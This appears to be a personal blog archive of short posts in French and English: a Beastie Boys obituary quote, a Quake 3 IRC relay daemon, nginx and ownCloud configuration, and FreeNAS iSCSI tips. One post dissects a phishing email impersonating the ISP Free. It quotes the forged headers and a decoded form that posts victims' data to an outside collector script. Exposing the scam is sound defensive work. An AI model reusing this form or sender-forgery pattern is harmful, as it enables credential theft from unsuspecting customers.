Full set of Quake 3 Defrag CHS – Cross Hair Status
Archives for :
From the current homepage of www.beastieboys.com:
“Adam Yauch • 1964-2012
It is with great sadness that we confirm that musician, rapper, activist and director Adam “MCA” Yauch, founding member of Beastie Boys and also of the Milarepa Foundation that produced the Tibetan Freedom Concert benefits, and film production and distribution company Oscilloscope Laboratories, passed away in his native New York City this morning after a near-three-year battle with cancer. He was 47 years old.”
Note : le projet a été déménagé depuis qmb/qmbd
vers q3mb/qmbd
.
QMB, pour Quake3 Messages Broker, est un petit daemon qui accepte des connexions TCP d’un côté et utilise un bot IRC pour transmettre les messages sur un canal.
Le code du serveur Quake3 doit bien sûr être modifié pour pouvoir contacter QMB, on verra cette partie plus tard ; en attendant, le code de qmbd
est disponible sur gitorious sous les termes de la licence ISC.
La version 0.1 de qmbd représente un ensemble de classes Python et un programme principal, un fichier de configuration d’exemple est aussi fourni. La fonctionnalité des fortunes nécessite aussi la présence d’un ou plusieurs fichiers de type « fortunes » (avec le symbole « %
» comme séparateur d’enregistrements).
Excellent old Monty Python‘s photo, found on AcidCow.com 🙂
Voici une manière de mettre en place sur un serveur nginx une sécurisation via HTTPS de l’authentification à ownCloud ; en clair : utiliser le site en HTTP sauf pour la phase de login.
Dans la configuration de l’hôte fournissant le service en HTTP, le fichier /etc/nginx/sites-enabled/owncloud
dans mon cas, on ajoute les directives suivantes :
if ($request_uri ~ ^/$) { rewrite ^ https://$server_name/index.php permanent; } if ($request_uri ~ ^/index.php$) { rewrite ^ https://$server_name$request_uri? permanent; }
Ceci étant valable pour un ownCloud installé à la racine du site, il faut sinon bien évidemment adapter l’expression régulière.
Étonnament, il n’est pas possible d’utiliser directement des périphériques iSCSI avec FreeNAS, l’interface prévoit la possibilité d’offrir ce service (être une target) mais pas de l’utiliser (être un initiator).
Par nature, FreeNAS ne permet pas les modifications système, ce dernier étant généré lors du boot ; cette limitation est bien sûr toute relative car il reste possible de faire des modifications qui persisteront. Au moins jusqu’à la prochaine release 😉
Alors, que nous faut-il pour utiliser des périphériques iSCSI sur notre FreeNAS ? Grâce à cette astuce trouvée sur le forum FreeNAS, il est possible d’accéder en écriture à notre /
et le FreeBSD iSCSI How-To ainsi que cette entrée de FAQ pour FreeBSD nous donnent les infos utiles à la mise en œuvre de l’initiator.
Et celle-ci est plus subtile que les précédentes, son auteur ayant eu la malice de forger un champ From
particulèrement adapté pour passer sans soucis le filtrage des serveurs SMTP ; voici l’en-tête du message, mon email étant remplacée par [snip]@[snap]
:
Return-Path: <Freebox@free.fr> Delivered-To: free.fr-[snip]@[snap] Received: (qmail 14355 invoked from network); 18 Apr 2012 17:35:02 -0000 Received: from mx20-g26.free.fr (HELO PORTABLE) (212.27.42.59) by mrelay9-g25.free.fr with SMTP; 18 Apr 2012 17:35:02 -0000 Received: from PORTABLE ([209.61.136.162]) by mx1-g20.free.fr (MXproxy) for [snip]@[snap]; Wed, 18 Apr 2012 19:35:02 +0200 (CEST) X-ProXaD-SC: state=HAM score=0 From: "Freebox@free.fr" <Freebox@free.fr> Subject: Code : IN1798234 To: [snip]@[snap] Content-Type: multipart/mixed; charset="utf-8"; boundary="9V2r2NdFA41pwmVy=_WnXYmLeA7Zdw4FWK" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Date: Wed, 18 Apr 2012 17:35:09 +0000
Le sujet du message est donc de la forme Code : IN1798234
et l’introduction invite l’utilisateur à remplir un formulaire :
Cher client ! Votre Identifiant Client : IN1798234 une nouvelle Protection pour votre dossier. (1) Telechargez la piece jointe fournie par notre equipe de securite. (2) Ouvrez le fichier joint (dans votre navigateur Web) et de remplir le besoin domaines. Cette intervention vous sera facturee. Cordialement l'equipe free.
On notera l’abscence d’accents et la surprenante fin de phrase du (2)
^^
Le contenu est aussi pensé pour ne pas « trop » choquer un client peu habitué ou particulièrement naïf, s’il en existe encore… le message inclut donc un formulaire, encodé en base64 pour ne pas être facilement lisible, permettant de piéger la victime.
Une fois décodé, on voit facilement l’arnaque 😉 :
[...] <form method="post" action="http://www.mediainvent.rs/wp-content/themes/twentyten/zob.php" name="formulaire" onsubmit="return validation();"> [...]
Thanks to this post on the ownCloud ML, if you have troubles using the embedded media player, install the getid3 PHP extension (Debian package php-getid3
) and it should works.
Successfully tested on ownCloud 3.0.2.